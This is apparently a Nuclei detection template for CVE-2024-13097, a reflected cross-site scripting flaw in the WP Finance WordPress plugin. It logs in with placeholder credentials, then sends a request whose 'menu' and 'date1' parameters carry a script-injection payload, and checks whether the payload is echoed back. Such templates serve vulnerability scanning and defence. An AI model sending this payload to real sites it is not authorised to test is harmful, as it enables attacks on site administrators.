id: CVE-2024-13097

info:
  name: WP Finance Plugin <= 1.3.6 - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    WP Finance WordPress plugin <= 1.3.6 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before output, letting attackers execute scripts in high privilege users' browsers, exploit requires victim to click a malicious link.
  impact: |
    Attackers can execute malicious scripts in high privilege users' browsers, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to the latest version of WP Finance plugin that addresses this issue or apply security patches that sanitize and escape output properly.
  reference:
    - https://wpscan.com/vulnerability/d83d7274-55ae-4f35-b65e-6d6e19e36fac/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13097
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2024-13097
    cwe-id: CWE-79
    epss-score: 0.03222
    epss-percentile: 0.87233
    cpe: cpe:2.3:a:mch0lic:wp_finance:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: mch0lic
    product: wp_finance
  tags: cve,cve2024,wp-finance,wp,wordpress,wp-plugin,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=wpfinance&menu=css"></script><script>alert(document.domain)</script><script>&date1=1"></script><script>alert(document.domain)</script><script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, "></script><script>alert(document.domain)</script><script>", "WP Finance")
          - contains(content_type, "text/html")
          - status_code == 200
        condition: and
# digest: 4a0a00473045022100b4bbf8f179979369ed3d630e439a78ff6ee3a11ad80bfcd1b01f768a54a3203a022023aaadda81c8737cd555741c84920b408191757fb332b606e37588a9017a536b:922c64590222798bb761d5b6d8e72950